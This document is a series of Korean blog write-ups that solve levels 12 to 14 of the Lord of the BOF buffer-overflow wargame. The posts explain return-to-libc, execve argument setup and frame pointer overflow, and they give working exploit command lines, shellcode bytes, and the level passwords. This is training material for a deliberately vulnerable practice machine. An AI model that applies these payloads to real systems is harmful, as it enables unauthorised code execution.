./assassin `python -c 'print "a" * 44 + "\x1e\x85\x04\x08" + "\x64\xff\xff\xbf"'`

id

my-pass

payload를 수정하여 실행하면 위와 같이 성공한다.

[hackerschool lob redhat] LEVEL14 (bugbear -> giant) : RTL2, only execve(이중 포인터로 넘겨야 하는 인자를 프로그램 이름을 이용해 해결, 프로그램 이름의 길이에 따른 스택 주소)

Sean(slay) — Fri, 16 Feb 2024 15:26:23 +0900

password : new divide

문제 확인

/*
        The Lord of the BOF : The Fellowship of the BOF
        - giant
        - RTL2
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

main(int argc, char *argv[])
{
	char buffer[40];
	FILE *fp;
	char *lib_addr, *execve_offset, *execve_addr;
	char *ret;

	if(argc < 2){
		printf("argv error\n");
		exit(0);
	}

	// gain address of execve
	fp = popen("/usr/bin/ldd /home/giant/assassin | /bin/grep libc | /bin/awk '{print $4}'", "r");
	fgets(buffer, 255, fp);
	sscanf(buffer, "(%x)", &lib_addr);
	fclose(fp);

	fp = popen("/usr/bin/nm /lib/libc.so.6 | /bin/grep __execve | /bin/awk '{print $1}'", "r");
	fgets(buffer, 255, fp);
	sscanf(buffer, "%x", &execve_offset);
	fclose(fp);

	execve_addr = lib_addr + (int)execve_offset;
	// end

	memcpy(&ret, &(argv[1][44]), 4);
	if(ret != execve_addr)
	{
		printf("You must use execve!\n");
		exit(0);
	}

	strcpy(buffer, argv[1]);
	printf("%s\n", buffer);
}

1. 커맨드라인 인자가 있어야 한다.

2. 커맨드라인 인자 첫 번째의 45번째부터 4byte만큼의 값이 execve() 함수의주소와 같아야 한다.

이번 문제는 RTL 기법을 사용해야 하지만 무조건 execve() 함수를 사용하겠끔 조건이 명시되어 있다.

참고)
- 헤더: unistd.h
- 형태: int execve (const char *filename, char *const argv [], char *const envp[])
- 인수:
	filename: 디레토리 포함 전체 파일 명
	argv : 인수 목록 
	envp : 환경 변수 목록
    
execve() 함수는 현재 실행 중인 프로그램을 종료하고 다른 프로그램을 실행하는 함수이다.

execve()처럼 맨 뒤에 e로 끝나는 것들은 환경 변수를 인수로 줄 수 있다는 것이다.
환경 변수를 인수로 줄 수 없는 execv()가 있다.

execve()와 비슷한 함수로는 execle()가 있는데
execve()와 execle() 함수의 차이점은 인수 목록을 리스트로 나열하느냐 혹은 배열에 담아 이중 포인터로 인수로에 넘겨주냐이다.

ex)
char ** envp[] = {"test=I_AM_Groot", NULL};
execle() : execle("program name", argv[0], argv[1], argv[2], argv[3], NULL, envp);
execle() : execle("./cp", "./cp", "test1", "test2", NULL, envp);

char ** argv[] = {"./cp", "test1", "test2", NULL};
char ** envp[] = {"test=I_AM_Groot", NULL};
execve() : execve("program name", **argv, **envp);
execve() : execve("./cp", &argv, &envp);

execve() 함수 주소 구하는 부분

// gain address of execve
fp = popen("/usr/bin/ldd /home/giant/assassin | /bin/grep libc | /bin/awk '{print $4}'", "r");
fgets(buffer, 255, fp);
sscanf(buffer, "(%x)", &lib_addr);
fclose(fp);

fp = popen("/usr/bin/nm /lib/libc.so.6 | /bin/grep __execve | /bin/awk '{print $1}'", "r");
fgets(buffer, 255, fp);
sscanf(buffer, "%x", &execve_offset);
fclose(fp);

execve_addr = lib_addr + (int)execve_offset;
// end

memcpy(&ret, &(argv[1][44]), 4);
if(ret != execve_addr)

위의 코드 부분이 execve() 함수의 주소를 구하는 부분인데

ldd 명령은 프로그램이나 공유 라이브러리들이 요구하는 공유 라이브러리(shared libraries)를 출력하는 명령으로, 프로세스나 모듈의 실행이 라이브러리의 부재로 되지 않거나 하는 경우 역추적하여 라이브러리를 확인하여 넣어주는 형태로 많이 사용한다.

nm 명령은 오브젝트 파일, 실행 파일 또는 오브젝트 파일 라이브러리 중 하나인, 지정된 File에 있는 심볼(기호)에 대한 정보를 표시한다.

awk 명령은 이 커맨드라인 프로그램을 만든 사람의 이니셜이며, 파일로부터 레코드(record)를 선택하고, 선택된 레코드에 포함된 값을 조작하거나 데이터화하는 것을 목적으로 사용하는 프로그램이다.

(각 레코드는 공백이나 tab으로 구분한다.)

이번 문제에서는 popen() 함수로 가져온 값을 fgets() 함수로 개행 문자를 만나기 전까지 최대 254byte의 내용을 buffer에 내용을 입력한다.

(fgets() 함수는 공백과 개행 문자 그리고 tab을 만나기 전까지 입력을 받는 scanf() 함수와는 달리 오직 개행 문자를 만나기 전까지만 입력을 받기 때문에 공백이 포함된 문자열도 받을 수 있다.)

그리고 sscanf() 함수로 buffer에 있는 값을 %x 형식 지정자에 맞게 3번째 인자에 해당하는 주소에 넣는다.

이렇게 libc의 주소를 구해 lib_addr에 넣고, execve() 함수의 offset 주소를 구해 execve_offset에 넣은 뒤 이 두 값을 더하여 execve() 함수의 주소를 구한 후 첫 번째 커맨드라인 인자의 RET 부분에 덮어쓸 4byte 값과 비교하는 것이다.

ldd giant | grep libc
ldd giant | grep libc | awk '{print $4}'

nm /lib/libc.so.6 | grep __execve
nm /lib/libc.so.6 | grep __execve | awk '{print $1}'

level14 문제에서는 명령어들을 사용할 때 절대경로로 입력하고 assassin 프로그램을 이용했지만, 현재 권한이 bugbear이므로 assassin 프로그램에 접근할 수 없기 때문에 giant 프로그램으로 대체하고, 명령어는 그냥 프로그램 이름만 입력하면 위와 같다.

libc의 주소 0x40018000과 execve() 함수의 offset 주소 0x91d48을 더하면 execve() 함수의 실제 주소는 0x400a9d48이다.

위와 같이 ldd와 nm 명령으로 execve() 함수의 주소를 알아내도 되지만 gdb를 이용해서 주소를 알아낼 수 있다.

이미 존재하는 실행 파일 중 execve() 함수의 정보가 들어있는 실행 파일과 gdb를 이용해 주소 알아내기

cp giant giant2
gdb -q giant2

b * main

r aaaa

p execve

execve() 함수를 호출하는 프로그램을 만들어 gdb를 이용해 주소 알아내기

#include <stdio.h>

int main()
{
	execve();
    
    return 0;
}

gcc -o call_execve call_execve.c
gdb -q call_execve

b * main

r

p execve

call_execve.c 파일에 위의 코드를 입력한 후 컴파일 하여 gdb로 열어 실행한 뒤 execve() 함수의 주소를 출력한다.

dummy 값 확인

cp giant giant2
gdb -q giant2

set disassembly-flavor intel
disas main

지역 변수의 공간으로 60 byte를 할당하는 것으로 보아 dummy 값은 없다.

공격

이번 문제는 RET 부분에 덮어쓸 주소를 무조건 execve() 함수의 주소를 사용해야 하므로 \x48\x9d\x0a\x40를 payload에 사용해야 한다.

[execve() 함수의 주소] + [execve() 함수의 RET 부분] + [실행할 프로그램 이름의 포인터] + [인수 목록의 포인터] + [환경 변수 목록의 포인터]

\x48\x9d\x0a\x40 + "bbbb" + &"/bin/sh" + **argv + **envp

execve() 함수로 반환하도록 하기 위한 스택 구성은 위와같다.

strings -tx /lib/libc.so.6 | grep /bin/sh

execve() 함수의 RET 부분은 dummy 값으로 채우면 되고, 실행할 프로그램은 셸이므로 "/bin/sh" 문자열이 담긴 주소를 입력하면 되는데, "/bin/sh" 문자열의 주소는 공유 라이브러리 안에 "/bin/sh" 문자열이 있기 때문에 해당 주소를 구해 사용한다.

(libc의 주소 0x40018000과 "/bin/sh" 문자열의 offset주소 e3ff9를 더하면 0x400fbff9이다.)

[execve() 함수의 주소] + [execve() 함수의 RET 부분] + [실행할 프로그램 이름의 포인터] + [인수 목록의 포인터] + [환경 변수 목록의 포인터]

\x48\x9d\x0a\x40 + "bbbb" + \xf9\xbf\x0f\x40 + **argv + **envp

그러면 현재 payload의 구성은 위와 같다.

이제 문제는 인수 목록의 포인터와 환경 변수의 포인터 부분이다.

이 부분은 단순히 인수의 주소를 주는 것이 아니라 인수들이 담긴 배열의 포인터를 넘겨야 하므로 이중 포인터이다.

이 부분을 해결하기 위해 고민하다가 다른 블로그 글을 참고했다.

낮은 주소
...
local variables of main
saved registers of main
return address of main
argc
argv
envp
stack from startup code
argc
argv pointers
NULL that ends argv[]
environment pointers
NULL that ends envp[]
ELF Auxiliary Table
argv strings
environment strings
program name
NULL
...
높은 주소

이전 레벨들에서 사용했던 방법 중 하나인데, 프로그램 이름을 "\xf9\xbf\x0f\x40"로 바꾸거나 심볼릭을 걸고, 스택 레이아웃을 보면 가장 높은 주소 쪽에 있는 program name 부분의 주소를 payload에 사용하는 것이다.

인수 목록의 포인터는 argv[0], argv[1] ... 값들이 들어있는 배열의 포인터인데, 현재 문제를 풀기 위해서 다른 인자는 필요하지 않으므로 argv[0] 부분만 들어있는 배열의 포인터가 필요하고 위의 방법을 사용하면 program name 부분의 주소 -> \xf9\xbf\x0f\x40 -> "/bin/sh"이므로 이중 포인터 형태이다.

(argv[0]은 현재 실행 중인 프로그램의 이름이 들어간다.)

그리고 환경 변수의 포인터는 스택 레이아웃에서 program name 부분 다음에 있는 NULL 부분의 주소를 사용하거나 stack from startup code 전에 있는 envp 부분의 주소를 사용하면 된다.

(사실, 환경 변수의 포인터는 스택 레이아웃에서 program name 부분의 주소를 줘도 execve() 함수가 실행될만큼 현재는 중요하지 않다.)

ln -s giant2 `python -c 'print "\xf9\xbf\x0f\x40"'`

gdb -q `python -c 'print "\xf9\xbf\x0f\x40"'`

b * main

r "`python -c 'print "a" * 44 + "\x48\x9d\x0a\x40" + "b" * 4 + "\xf9\xbf\x0f\x40" + "a" * 8'`"

x/40x $esp

x/140s 0xbffffce0

program name 부분의 주소를 알아내기 위해 giant2에 심볼릭을 건 후 gdb로 열어 테스트 할 payload를 인자로 주며 실행한 후 환경 변수 배열의 포인터 주소를 기준으로 하여 스택을 보면 0xbfffffe9 주소에 프로그램 이름이 들어가 있는데 총 18byte이다.

이때 gdb에서 볼 때는 프로그램의 이름이 심볼릭 링크로 인해 절대 주소로 바뀌어 스택에 들어가므로 0xbfffffe9 주소에 프로그램 이름이 있지만, 실제 payload를 적용할 때 프로그램 이름의 길이는 4byte 이므로 프로그램 이름의 길이에 따라 스택 주소가 변하므로 이 부분을 계산하여 사용해야 한다.

그렇다면 프로그램 이름의 길이가 18byte일 때 주소는 0xbfffffe9이고, 실제 payload에서는 프로그램 이름의 길이가 4byte("\xf9\xbf\x0f\x40")이므로 18byte에서 4byte로 길이가 짧아졌으므로 스택 주소는 반대로 커지고, 그러므로 0xbfffffe9 주소에 14(18byte - 4byte)를 더하면 0xbffffff7이 된다.

참고)

gdb에서 커맨드라인 인자를 주어 실행할 때 쌍따옴표로 감싸서 인자를 넘긴 이유는 \x0a가 셸에서 개행으로 인식하기 때문이다.

payload를 수정하여 실행할 때도 쌍따옴표로 감싸서 실행해야 한다.

rm `python -c 'print "\xf9\xbf\x0f\x40"'`

ln -s giant `python -c 'print "\xf9\xbf\x0f\x40"'`

./`python -c 'print "\xf9\xbf\x0f\x40"'` "`python -c 'print "a" * 44 + "\x48\x9d\x0a\x40" + "b" * 4 + "\xf9\xbf\x0f\x40" + "\xf7\xff\xff\xbf" + "\xfc\xff\xff\xbf"'`"

payload를 수정한 뒤 심볼릭 링크를 giant에 걸고 실행하면 giant의 password one step closer를 얻을 수 있다.

참고)

rm `python -c 'print "\xf9\xbf\x0f\x40"'`

ln -s giant `python -c 'print "\xf9\xbf\x0f\x40"'`

./`python -c 'print "\xf9\xbf\x0f\x40"'` "`python -c 'print "a" * 44 + "\x48\x9d\x0a\x40" + "b" * 4 + "\xf9\xbf\x0f\x40" + "\xf7\xff\xff\xbf" + "\xf7\xff\xff\xbf"'`"

위와 같이 **argv와 **envp 부분을 동일하게 줘도 잘 실행된다.

다른 방식으로 공격

다른 방식의 공격으로는 execve()함수의 주소를 입력은 하지만 execve() 함수의 RET 부분을 이용하는 것이다.

\x48\x9d\x0a\x40 + [system 함수의 주소] + [system 함수의 RET 부분] + \xf9\xbf\x0f\x40

이는 system() 함수로 반환하도록 하여 셸을 실행시키는 것으로 스택 구조는 위와 같다.

libc의 주소 0x40018000에 system() 함수의 offset 주소 40ae0을 더하면 0x40058ae0이다.

./giant "`python -c 'print "a" * 44 + "\x48\x9d\x0a\x40" + "\xe0\x8a\x05\x40" + "b" * 4 + "\xf9\xbf\x0f\x40"'`"

위와 같이 payload를 구성해 giant를 실행하면 된다.

[시행착오]

rm `python -c 'print "\xf9\xbf\x0f\x40"'`
ln -s giant `python -c 'print "\xf9\xbf\x0f\x40"'`
./`python -c 'print "\xf9\xbf\x0f\x40"'` "`python -c 'print "a" * 44 + "\x48\x9d\x0a\x40" + "b" * 4 + "\xf9\xbf\x0f\x40" + "\xfc\xff\xff\xbf" + "\xfc\xff\xff\xbf"'`"

시스템 해킹을 하다 보면 execve("/bin/sh", NULL, NULL);과 같이 사용하여 공격할 때도 있다.

그래서 payload를 다시 수정하여 해보니 이 형태로 공격하는 건 안되는 것 같다.

popen : https://badayak.com/entry/C언어-파이프-생성-함수-popen

execve : https://badayak.com/entry/C언어-다른-프로그램-실행-함수execve

awk : https://recipes4dev.tistory.com/171

execve()를 이용해 풀이 : https://plummmm.tistory.com/92

"" 더블 쿼터를 사용해야 하는 이유 : https://liveyourit.tistory.com/143

execve("/bin/sh", NULL, NULL) : https://powerco3e-lch.tistory.com/53

[hackerschool lob redhat] LEVEL13 (darkknight -> bugbear) : RTL1(gdb로 디버깅 중에 셸 명령어 실행하는 법, 메모리맵으로 사용 중인 공유 라이브러리 확인하는 법)

Sean(slay) — Tue, 13 Feb 2024 19:41:41 +0900

문제 확인

/*
        The Lord of the BOF : The Fellowship of the BOF
        - bugbear
        - RTL1
*/

#include <stdio.h>
#include <stdlib.h>

main(int argc, char *argv[])
{
	char buffer[40];
	int i;

	if(argc < 2){
		printf("argv error\n");
		exit(0);
	}

	if(argv[1][47] == '\xbf')
	{
		printf("stack betrayed you!!\n");
		exit(0);
	}

	strcpy(buffer, argv[1]);
	printf("%s\n", buffer);
}

1. 커맨드라인 인자가 있어야한다.
2. 첫 번째 커맨드라인 인자의 48번째 값이 0xbf로 시작하면 안되므로 RET 부분에 덮어쓸 주소가 스택의 주소이면 안된다.

이번 문제는 조건이 엄청 간단하지만, 이전 문제들의 대다수와는 다르게 RET 부분에 덮어쓸 주소가 스택의 주소이면 안된다는 조건이 있다.

그리고 문제 이름과 힌트에서도 RTL이라고 알려줬기 때문에 RTL 기법을 이용한다.

참고)

RTL 기법은 Return to Lib의 약자로, 공유 라이브러리에 있는 주소로 반환시키는 것이다.

이미 LOB level2에서 사용했던 기법이다.

https://sean.tistory.com/480

dummy 값 확인

지역 변수의 공간으로 44byte를 할당하는 것으로 보아 dummy 값은 없다.

공격

cp bugbear bugbear2

gdb -q bugbear2

b * main

r aaaa

shell ps

shell cat /proc/[process id]/maps

먼저 bugbear 프로그램에서 어떤 버전의 libc 공유 라이브러리를 사용하는지 확인하지 위해

bugbear 파일을 bugbear2 파일로 복사한 후 gdb로 연 뒤 bp를 걸고 인자를 대충 적어서 실행한 후 메모리맵을 보면 libc-2.1.3.so를 사용 중인 것을 확인할 수 있다.

ldd 명령을 이용해 두 번 실행했을 때 주소가 안 바뀌는 것을 통해 ASLR 기법이 안 걸려있다는 것을 확인하고, base 주소(0x40018000)도 확인한다.

nm /lib/libc-2.1.3.so | grep system

strings -tx /lib/libc-2.1.3.so | grep /bin/sh

nm 명령과 strings 명령을 통해 공유 라이브러리 내에 있는 system() 함수의 offset 주소와 "/bin/sh" 문자열의 offset 주소를 구한다.

구한 offset 주소는 이전에 위에서 알아낸 base 주소 0x40018000에 더하면 된다.

그러면 system 함수의 주소는 0x40058ae0이고, "/bin/sh" 문자열의 주소는 0x400fbff9이다.

./bugbear `python -c 'print "a" * 44 + "\xe0\x8a\x05\x40" + "b" * 4 + "\xf9\xbf\x0f\x40"'`

위에서 알아낸 정보들을 바탕으로 payload를 구성해 bugbear에 인자로 주어 실행하면 bugbear의 password인 new divide를 얻을 수 있다.

참고)

system() 함수를 호출하는 것이 아닌 RET 부분에 sysem() 함수의 주소를 덮어씌워서 반환시키는 것이므로 스택의 구조는 "system() 함수 주소 + system() 함수의 RET 부분 + 인자" 형태로 SFP 부분은 없어도 된다.

그리고 system() 함수를 호출해 셸을 얻고 나서는 공격이 끝나므로 system() 함수의 RET 부분에는 4byte 아무런 값이나 들어가도 된다.

[hackerschool lob redhat] LEVEL12 (golem -> darkknight) : sfp(FPO, Frame Pointer Overflow)

Sean(slay) — Sun, 11 Feb 2024 20:54:23 +0900

password : cup of coffee

lob12.drawio

0.06MB

문제 확인

/*
        The Lord of the BOF : The Fellowship of the BOF
        - darkknight
        - FPO
*/

#include <stdio.h>
#include <stdlib.h>

void problem_child(char *src)
{
	char buffer[40];
	strncpy(buffer, src, 41);
	printf("%s\n", buffer);
}

main(int argc, char *argv[])
{
	if(argc<2){
		printf("argv error\n");
		exit(0);
	}

	problem_child(argv[1]);
}

1. 커맨드라인 인자가 있어야 한다.

2. problem_child() 함수를 호출하는데, 커맨드라인 인자를 인자로 넘긴다.

3. problem_child() 함수 내에 buffer[40]이라는 변수를 선언하고, 커맨드라인 인자의 41byte만 buffer[40]에 복사한 뒤 출력한다.

이번 문제는 strcpy() 함수가 아닌 strncpy() 함수로 딱 지정된 41byte 크기만큼만 복사하기 때문에 RET 부분을 덮어써 실행 흐름을 바꿀 수 없다.

이번 문제에서 buffer[40] 공간에 41byte만큼의 데이터를 복사하는데 이는 SFP 부분의 1byte를 변조할 수 있기 때문에 SFP 부분의 1byte를 변조하여 실행 흐름을 바꾸는 FPO 기법을 이용해서 풀어야 한다.

FPO(Frame Pointer Overflow)

FPO 기법을 사용하기 위해서는 2가지 조건이 필요하다.

1. 서브 함수가 존재하고 해당 서브 함수를 호출해야 한다.
2. buffer overflow로 서브 함수 내의 SFP의 최소 하위 1byte를 덮을 수 있어야 한다.

위의 2가지 조건이 필요한 이유는 leave와 ret 어셈블리 명령어 그리고 함수 에필로그 때문인데

FPO 기법은 엄밀히 따지면 함수 에필로그 과정의 leave 명령과 ret 명령의 동작 원리를 이용해 실행 흐름을 바꾸는 기법인데, 이때 두 번의 함수 에필로그 과정이 필요하기 때문에 서브 함수가 필요한 것이다.

먼저 FPO 기법을 이해하기 전에 함수의 스택, 함수 에필로그, ebp, sfp, esp, eip 등 각 역할들에 대해 자세히 알고 있어야 한다.

간단히 설명하자면

함수의 스택 : 스택은 높은 주소에서 낮은 주소로 자라고, 서브 함수를 호출하면 함수에 넘겨지는 인자들을 스택에 쌓은 뒤, call 함수 내부에서 자동으로 스택에 RET와 SFP 부분을 만들어준 후 지역 변수들이 쌓인다.
[sub 함수의 스택]
- local 변수
- SFP
- RET
- 함수 인자들
[main 함수의 스택]
- local 변수
- SFP
- RET
- argc
- argv
- env


함수 에필로그 : 함수가 종료하면서 leave 명령과 ret 명령을 이용해 현재 함수를 호출했던 이전 함수의 스택 프레임으로 복귀하는 과정이다.

sfp : 이전 함수의 ebp 값을 저장하는 공간이다.

ebp : 현재 스택 프레임의 base 주소를 담는다.

esp : 현재 스택의 최상단 주소값을 저장하는데, 스택은 높은 주소에서 낮은 주소로 자라기 때문에 최상단 주소값은 큰 값이 아닌 작은 값이다.

eip : 현재 실행 중인 명령이 끝나면 실행될 명령어의 주소를 담고 있다.

[leave]
- mov esp, ebp
- pop ebp

[ret]
- pop eip
- jmp eip

FPO 기법은 엄밀히 따져 함수 에필로그 과정의 leave 명령과 ret 명령의 동작 원리를 이용해 실행 흐름을 바꾸는 기법이라고 했다.

leave 명령과 ret 명령의 동작 원리를 위와 같은데, leave는 mov esp, ebp명령과 pop ebp 명령을 수행하는 것과 같고, ret는 pop eip 명령과 jmp eip명령을 수행하는 것과 같다.
(동작 원리가 비슷하여 위와 같이 풀어서 표현한 것이지 실제로 저 명령어들을 사용한다는 것은 아니다.)

여기서 추가로 pop 명령은 현재 esp가 가리키는 주소에서 4byte만큼의 값을 pop 명령의 인자에 넣는다.
(위의 코드를 예시로 들면 leave 명령에서는 esp가 가리키는 주소에서 4byte만큼의 값을 ebp 레지스터에 담는 것이고, ret명령에서는 eip 레지스터에 담는 것이다.)

본격적으로 FPO 기법을 이해하기 위해 main 함수와 sub라는 함수가 있다고 했을 때 main 함수에서 sub 함수를 호출하면 스택은 위와 같이 구성될 것이다.

위의 스택 구성을 보면 main 함수의 ebp가 sub 함수의 SFP에 저장되게 된다.

(0xbffffae0은 main 함수의 ebp 위치이다.)

1byte가 overflow되어 SFP 부분의 1byte를 변조할 수 있다면 위와 같이 SFP의 하위 1byte를 "a0"라고 변조할 수 있다.

여기서 주의할 점은 sub 함수의 SFP 부분의 1byte를 변조할 때 최종적으로 이동하고자 하는 주소에서 4를 뺀 주소를 입력해줘야한다.

그 이유는 leave 명령의 pop ebp부분 때문인데, 자세한 원리는 아래의 과정을 따라가며 이해해보는 것이 좋다.

mov esp, ebp

pop ebp

이제 sub 함수에서 함수 에필로그 과정이 시작되고, leave 명령이 실행되는데, leave 명령은 "mov esp, ebp", "pop ebp"와 같다고 했다.

그러면 원래 ebp가 있던 위치는 SFP 부분인데 mov esp, ebp 명령으로 인해 esp가 ebp와 같은 곳에 위치하게 되므로 esp와 ebp 모두 sub 함수의 SFP 부분을 가르키게 된다.

이 상태에서 pop ebp 명령으로 인해 SFP 부분의 값을 ebp에 저장하고, esp는 RET 부분을 가리키게 된다.

그러면 leave 명령까지 수행된 이 시점에 원래대로라면 main 함수의 ebp 주소를 담고 있어야 할 sub 함수의 SFP 부분이 조작된 0xbffffaa0이라는 주소를 담고 있었기 때문에 현재 ebp에는 main의 ebp 주소가 아닌 0xbffffaa0이라는 주소가 저장됨으로써 ebp는 0xbffffaa0 주소를 가리키고, esp는 RET 부분을 가리킨다.

이 상태에서 ret 명령이 수행되면 pop eip 명령에 의해 sub 함수의 RET 부분의 값이 eip에 담기게 되는데, RET 부분은 변조되지 않았으므로 jmp eip 명령에 의해 main 함수에서 sub 함수를 호출한 후 실행될 명령어의 위치로 실행 흐름이 바뀐다.

mov esp, ebp

pop ebp

이제 sub 함수의 에필로그가 끝난 후 main 함수로 복귀했으니 main 함수의 동작이 다 수행된 다음 main 함수의 에필로그 과정이 수행된다.

현재 ebp는 원래 main 함수의 ebp 주소에 위치해 있는게 아니라 sub 함수의 에필로그 과정에서 조작한 0xbffffaa0 위치에 있다.

이 상태에서 main 함수의 에필로그 과정 중 leave 명령이 수행되면서 esp가 ebp의 위치와 같게 이동되므로 esp와 ebp 모두 0xbffffaa0 주소에 위치하게 되고, 그 상태에서 4byte 값을 읽어 ebp에 저장하므로 0xbffffaa0 주소에서 4byte만큼의 값을 ebp에 저장한 후 esp는 0xbffffaa4를 가리키게 된다.

참고) 여기서 이제 ebp의 역할은 다 했다. 이후 ret 명령을 수행할 때는 esp만 중요하기 때문에 ebp는 제 역할을 다 했다.

참고) 여기서 이전에 언급했던 "SFP 부분의 1byte를 변조할 때 이동하고자 하는 주소에서
4를 뺀 주소로 변조해야 하는 이유가 leave 명령의 pop ebp 부분 때문"이라는 것에 대한 이유가 설명된다.

ret 명령에도 pop eip가 있는데 leave 명령에서 pop ebp를 함으로써 esp+4 연산을 하기 때문이다.

mov eip

이어서 ret 명령이 수행되면서 0xbffffaa4 주소에 있는 값을 eip에 담고, eip에 담긴 주소로 실행 흐름이 바뀐다.

그런데 여기서 0xbffffaa4 주소에 있는 값이 셸코드 또는 취약한 함수의 주소라면 ret 명령이 수행되고 나서 자동으로 해커가 원하는 동작이 수행될 것이다.

FPO 기법을 간단히 말하자면

1. sub 함수의 에필로그에서 leave 명령은 ebp에 sfp의 값을 담고, ret 명령으로 main으로 돌아간다.

2.main 함수의 에필로그에서 leave 명령은 sfp에 담았던 주소에 있는 값을 ebp에 넣는데 이는 그저 esp+4만 할 뿐 의미가 없고
이어서 ret 명령이 실행될 때 스택에 있는 값(4byte)에 해당하는 위치로 jump 한다.

lob 12 문제를 통해 FPO 기법 이해하기

cp darkknight darkknight2
gdb -q darkknight2

set disassembly-flavor intel

disas problem_child
disas main

b * 0x8048450
b * 0x8048469
b * 0x804846a
b * 0x80484a1
b * 0x80484a2

r `python -c 'print "\xbf\xbf\xbf\xbf" * 10 + "\xa0"'`

먼저 gdb로 디버깅을 해보기 위해 darkknight 파일을 darkknight2 파일로 복사한다.

그리고 gdb로 열어 problem_child() 함수의 strncpy() 함수를 호출하는 부분과 함수 에필로그 부분에 bp를 걸고, main() 함수의 함수 에필로그 부분에 bp를 건 후 인자를 주어 실행한다.

위의 커맨드라인 인자로 넘어가는 값은 테스트용으로 0xbfbfbfbf 주소를 10개하여 총 40byte로 buffer[40] 공간에 덮어쓸 값이고, 0xa0은 SFP 부분에 덮어쓸 1byte 값이다.

실행하자마자 strncpy() 함수를 호출하는 부분에 설치된 bp에 걸려있기 때문에 현재 스택에서 strncpy() 함수의 인자 3개를 보면 buffer[40]의 주소는 0xbffffc74이다.

strncpy() 함수를 호출하면 0xbf 값으로 buffer[40]의 공간을 40byte만큼 채우고, SFP 부분의 1byte를 0xa0으로 덮어썼다.

그 다음 bp가 설치된 곳까지 실행하면 0x8048469 주소인데 이 주소는 problem_child() 함수의 leave 명령을 실행하는 주소이다.

leave 명령을 수행하기 전 EBP와 ESP의 값과

leave 명령을 수행한 후 EBP와 ESP의 값은 다른 것을 확인할 수 있다.

참고) leave 명령의 동작 원리는 mov esp, ebp, pop ebp이다.

위의 사진에서 esp와 ebp 의 값이 같은 이유는 우연의 일치이며, ebp에는 변조된 주소, esp는 problem_child() 함수 내 RET 부분의 주소를 담고 있는 것이다.

즉, 변조된 주소가 우연히 problem_child() 함수 내 RET 부분의 주소와 동일한 것 뿐이다.

이어서 main 함수의 leave 명령을 실행하는 부분에 설치된 bp까지 실행했을 때 ebp의 값은 0xbffffca0인데, leave 명령을 실행하고 나서는 esp가 가리키는 주소(0xbffffca0)에 있는 값 0x804849e로 바뀌었다.

그리고 esp 역시 leave 명령을 실행하기 전과 실행하고 난 후의 값이 바뀌었는데

여기서 "leave 명령을 수행하기 전에 0xbffffca8이었는데, leave 명령을 실행하고 나서 4를 더한 0xbffffcac가 아니라 왜 4가 적어진 0xbffffca0일까" 하는 의문점이 든다면 이건 결과적인 부분만 봐서 그렇다.

leave 명령의 동작 원리를 다시 보자면 mov esp, ebp; pop ebp이다.

이 과정을 설명하자면 leave 명령이 실행되기 전 esp의 값은 0xbffffca8이었다.

1. 여기서 leave 명령의 mov esp, ebp에 의해 esp의 값은 0xbffffca0이 된다.

2. 이어서 pop ebp에 의해 0xbffffca0에 있는 값 0x804849e를 ebp에 넣는다.

그리하여 결과적으로 4가 적어진 0xbffffca4 주소가 esp에 들어간 것으로 보이는 것이다.

이어서 main() 함수 에필로그의 ret 명령을 실행하면 pop eip에 의해 esp가 가리키는 주소(0xbffffca4)의 값 0xbffffe00이 eip로 들어가고, 다음 명령 jmp eip를 실행하면 0xbffffe28은 스택의 주소이기 때문에 Segmentation fault 에러와 함께 종료한다.

FPO 기법을 간단히 말하자면

1. sub 함수의 에필로그에서 leave 명령은 ebp에 sfp의 값을 담고, ret 명령으로 main으로 돌아간다.

2.main 함수의 에필로그에서 leave 명령은 sfp에 담았던 주소에 있는 값을 ebp에 넣는데 이는 그저 esp+4만 할 뿐 의미가 없고
이어서 ret 명령이 실행될 때 스택에 있는 값(4byte)에 해당하는 위치로 jump 한다.

dummy 값 확인

main() 함수에서는 변수를 선언하지 않았는데, gdb로 디버깅을 해보니 지역 변수를 위한 공간으로 할당하는 것이 없으므로 dummy 값은 없다.

problem_child() 함수에서는 buffer[40] 변수 하나만 선언했는데, gdb로 보면 지역 변수를 위한 공간으로 40byte를 확보하는 것으로 보아 dummy 값은 없다.

공격

공격 시나리오는 이렇다.

커맨드라인 인자를 1개 이상 입력이기 때문에 첫 번째 커맨드라인 인자에는 buffer[40]에 채울 내용 40byte와 SFP 부분에 덮어쓸 1byte를 입력하고, 두 번째 커맨드라인 인자에는 NOP + shellcode를 넣는다.

buffer[40]에는 argv[2]의 주소를 넣고, SFP 부분에 덮어쓸 1byte는 buffer[40]의 주소에서 4를 뺀 주소의 하위 1byte를 입력한다.

그러면 두 번의 함수 에필로그와 leave, ret 명령의 동작원리로 셸코드가 실행되게 될 것이다.

1. problem_child 함수의 함수 에필로그 과정 중
leave 명령에 의해 ebp 레지스터에 problem_child 함수의 변조된 SFP의 값 buffer[40]-4의 주소가 담기고
ret 명령에 의해 main 함수로 돌아간다.

2. main 함수의 함수 에필로그 과정 중 leave 명령에 의해 ebp, esp 모두 buffer[40]-4의 주소를 가리키다가
ebp에는 buffer[40]-4의 주소에 있는 값이 담기게 되므로 그 값에 해당하는 위치를 가리키게 되고
esp는 buffer[40]의 주소를 가리키게 된다.

3. 마지막으로 main 함수의 함수 에필로그 과정 중 ret 명령에 의해 buffer[40]의 주소에 있는 값에 해당하는 곳의 명령을 실행하는데
이 buffer[40]의 주소에 있는 값은 argv[2]의 주소로 셸코드가 있는 주소이기 때문에 셸코드가 실행되게 되는 것이다.

./darkknight2 `python -c 'print "\x90" * 40 + "\xa0"'` `python -c 'print "\x90" * 100 + "\x31\xc0\x31\xd2\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"'`

gdb -q -c core

x/80x $esp-164

먼저, buffer[40]의 주소와 argv[2]의 주소를 알아야 하기 때문에 core 파일을 생성해서 알아낸다.

buffer[40]의 시작 주소는 0xbffffbf4이고, buffer[40]의 주소에서 4를 뺀 주소는 0xbffffbf0이다.

그런데 여기서 주의해야 할 점은 problem_child() 함수의 SFP 부분인 0xbffffc1c 주소를 보면 main 함수의 ebp 값 즉, main 함수의 SFP 부분의 시작 주소는 0xbffffc로 시작하는 걸 볼 수 있는데, 문제에서는 problem_child() 함수 내 SFP 부분의 값의 하위 1byte만 변조하기 때문에 ebp를 이동시키려는 주소(buffer[40]-4의 주소)도 0xbffffc로 시작해야 한다는 것이다.

